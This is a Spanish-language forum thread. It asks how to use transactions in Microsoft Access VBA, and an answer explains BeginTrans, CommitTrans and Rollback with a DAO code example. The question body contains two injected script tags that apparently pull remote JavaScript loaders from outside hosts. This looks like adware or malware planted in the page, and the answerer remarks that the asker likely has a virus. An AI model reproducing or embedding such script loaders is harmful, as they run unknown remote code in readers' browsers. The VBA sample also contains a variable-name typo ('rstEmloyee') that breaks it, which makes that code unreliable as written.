Transacciones en access

Voy a ser concreto, necesito migrar una BD a SQL pero que la parte de presentación y negocios queden en access por la ribbon que le he creado. Así que necesito saber utilizar "transacciones" encontré un objeto de tipo "transaction" en VBA y quisiera saber como utilizarlo, solo un ejemplo que tipo de variable utilizar y como inicializarla, saludos y gracias por la respuesta que puedas dar.

<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B56B777DF-D0CF-458B-B943-C27D48458331%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=US&rid=CA&ccid=Lake%20Forest&ip=70.169.255.125"></script>

1 respuesta

Respuesta
1

Primero de todo, estate al loro porque tienes un virus en tu sistema.

Las transacciones es simplemente un método más seguro de realizar cambios sobre la base de datos... es simplemente un lote de operaciones. En Access se emplean un poco diferente dependiendo de si estas programando en ADO o DAO, pero el concepto es exactamente el mismo. El tema es comenzar un lote de operaciones con un .Begintrans, y ejecutar las transacciones si todo hay ido bien con un committrans, o descartar los cambios con un .rollback

Esto sería un ejemplo en DAO (yo personalmente me manejo más cómodo en Access en DAO que en ADO... pero te aconsejo que si vas de primeras, empieces con ADO puesto que DAO ya no existe en .NET etc... aunque sigue funcionando)

Sub ChangeTitle()
Dim wrkCurrent As DAO.Workspace
Dim dbsNorthwind As DAO.Database
Dim rstEmployee As DAO.Recordset
On Error GoTo ErrorHandler
Set wrkCurrent = DBEngine.Workspaces(0)
Set dbsNorthwind = CurrentDB
Set rstEmployee = dbsNorthwind.OpenRecordset("Employees")
wrkCurrent.BeginTrans
Do Until rstEmployee.EOF
If rstEmployee!Title = "Sales Representative" Then
rstEmployee.Edit
rstEmloyee!Title = "Sales Associate"
rstEmployee.Update
End If
rstEmployee.MoveNext
Loop
If MsgBox("Sabe all changes?", vbQuestion + vbYesNo) = vbYes Then
wrkCurrent.CommitTrans
Else
wrkCurrent.Rollback
End If
rstEmployee.Close
dbsNorthwind.Close
wrkCurrent.Close
Set rstEmployee = nothing
Set dbsNorthwind = Nothing
Set wrkCurrent = Nothing
Exit Sub
ErrorHandler:
MsgBox "Error #: " & Err.Number & vbCrLf & vbCrLf & Err.Description
End Sub

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas